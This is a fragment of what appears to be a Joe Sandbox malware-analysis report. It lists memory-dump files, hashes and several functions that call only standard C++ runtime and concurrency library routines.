Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 6592ed1a8ea109a02e6df2cd11b6b51dbd86ca0e20462af0a29e1321a5bf9991
Instruction ID: e42ba5ab539c1cd35b498973bc39e7c72bae2bcac7235a8467b1b0cf9337b632
Opcode Fuzzy Hash: 6592ed1a8ea109a02e6df2cd11b6b51dbd86ca0e20462af0a29e1321a5bf9991
Instruction Fuzzy Hash: 0681BE72D0025ABBDF219FA48881AEE7BB9DF49714F19C059E905BB281E735CC40CFA0

Function 0092504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00925115
___AdjustPointer.LIBCMT ref: 00925138
___AdjustPointer.LIBCMT ref: 009251D4

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9b718684b4912f9ca7ff1a7f9de72ea7f991cea2163b060e4fb4c494e7793090
Instruction ID: 1930ecf877d81d64a5586e76f8da1ebe424f6fc5d23c7f3c4b0cf56469427c01
Opcode Fuzzy Hash: 9b718684b4912f9ca7ff1a7f9de72ea7f991cea2163b060e4fb4c494e7793090
Instruction Fuzzy Hash: 97511971A09A26AFEB259F14F841B7A73B9EF50300F16452DE815872AAE731ED50CBD0

Function 00924C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00924C66
TypeidsEqual.LIBVCRUNTIME ref: 00924C8B
PMDtoOffset.LIBCMT ref: 00924CA1
PMDtoOffset.LIBCMT ref: 00924D22

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 6e8d1f8a51edb4ba6ec227b072e20a8facbc4420a04ffc66a24c5b91752ab3a9
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 3851BE35A042299FCF11CF68E4806EEBBF8EF15354F14489AE890A7399D332AD05CF90

Function 008F2EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 008F2F5F
GetCurrentThreadId.KERNEL32 ref: 008F2F7E
__Mtx_unlock.LIBCPMT ref: 008F2FCC
__Cnd_broadcast.LIBCPMT ref: 008F2FE3

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: dd9af3435cf48cfb307d2904b6616bdc7e24f81f229f090d8f1622aa8ac722d0
Instruction ID: 1a38bbb199b1a2a25b63ff6a5abbd955ea80045d50fc0066684a666bf72b2b2e
Opcode Fuzzy Hash: dd9af3435cf48cfb307d2904b6616bdc7e24f81f229f090d8f1622aa8ac722d0
Instruction Fuzzy Hash: 0241E0B1A016099FDB20DF74C944B6AB7F8FF55324F00462AE926D7780EB35EA04CB91

Function 0091DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0091DB64

Part of subcall function 00918F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00918F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0091DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0091DBE9
Concurrency::location::_Assign.LIBCMT ref: 0091DC56

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: a070c7e8055df5ee8fa16968657352be8bb0d6db9ffe3ba183c4c8c8ef15f474
Instruction ID: fb209df7cd03c3dcd397518b814b6d13c4a00bc17508183ac86fdbcccc46131f
Opcode Fuzzy Hash: a070c7e8055df5ee8fa16968657352be8bb0d6db9ffe3ba183c4c8c8ef15f474
Instruction Fuzzy Hash: 2D411470705218ABDF19AB24C896BFEBB79AF85310F044499E5469B3C2CB74AD85C7D0

Function 009156AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 009156F2
_InternalDeleteHelper.LIBCONCRT ref: 00915726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0091578B
SafeRWList.LIBCONCRT ref: 0091579A

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
